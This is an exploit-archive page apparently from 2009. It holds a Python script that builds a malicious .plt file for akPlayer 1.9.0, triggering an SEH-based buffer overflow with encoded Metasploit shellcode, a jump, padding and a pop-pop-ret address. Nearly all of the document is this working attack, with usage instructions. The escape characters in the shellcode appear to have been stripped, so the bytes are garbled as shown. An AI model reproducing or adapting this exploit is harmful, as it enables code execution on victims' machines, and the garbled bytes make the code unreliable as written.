[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : akPlayer 1.9.0 (.plt File) Universal Buffer Overflow Exploit (SEH)
# Published : 2009-09-01
# Author : TiGeR-Dz
# Previous Title : Soritong MP3 Player 1.0 (.m3u//UI.txt) Universal Local BOF Exploits
# Next Title : Linux Kernel 2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit


#!/usr/bin/python
#
#[x] Bug: akPlayer 1.9.0 (.plt) Universal BOF Exploit (SEH)
#[x] Author : TiGeR-Dz
#[x] Usage : exploit.py > exploit.plt
#[x] Usage2: Just grab the plt file into akPlayer.
#[x] Greetz: thanks very match his0k4

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49"
"x49x49x49x49x37x49x49x49x49x49x49x49x51x5ax6ax41"
"x58x50x30x42x31x41x42x6bx42x41x51x32x42x42x32x41"
"x41x30x41x41x42x58x38x42x42x50x75x4bx59x4bx4cx59"
"x78x52x64x63x30x65x50x53x30x4ex6bx57x35x77x4cx6c"
"x4bx61x6cx63x35x73x48x67x71x48x6fx6ex6bx50x4fx45"
"x48x6ex6bx53x6fx61x30x73x31x38x6bx53x79x4ex6bx66"
"x54x6ex6bx46x61x38x6ex30x31x6bx70x6ex79x6ex4cx4f"
"x74x79x50x74x34x44x47x4fx31x59x5ax76x6dx55x51x59"
"x52x68x6bx4ax54x35x6bx71x44x65x74x37x74x31x65x4a"
"x45x6ex6bx73x6fx44x64x55x51x4ax4bx50x66x4cx4bx44"
"x4cx30x4bx6ex6bx53x6fx37x6cx46x61x58x6bx6cx4bx77"
"x6cx6ex6bx46x61x5ax4bx4fx79x31x4cx47x54x37x74x6a"
"x63x74x71x59x50x70x64x6ex6bx51x50x50x30x6ex65x4b"
"x70x72x58x64x4cx6cx4bx71x50x56x6cx4ex6bx52x50x57"
"x6cx6cx6dx4cx4bx63x58x73x38x5ax4bx45x59x4ex6bx4f"
"x70x4cx70x35x50x43x30x63x30x4cx4bx53x58x77x4cx73"
"x6fx56x51x48x76x53x50x66x36x4fx79x39x68x6fx73x39"
"x50x61x6bx30x50x61x78x4ax50x6cx4ax73x34x33x6fx45"
"x38x6dx48x49x6ex6cx4ax46x6ex76x37x69x6fx48x67x45"
"x33x73x51x72x4cx71x73x63x30x41")

buffer =  shellcode
buffer += 'x41'*(3324-len(shellcode))
buffer += 'xE9xFFxF2xFFxFF' #jump
buffer += 'x43'*787 #padding
buffer += 'x59xC3' #pop ecx; retn
buffer += 'x90x90' #nop
buffer += 'xF8x28x40'#pop pop ret=>universal
print buffer

# www.Syue.com [2009-09-01]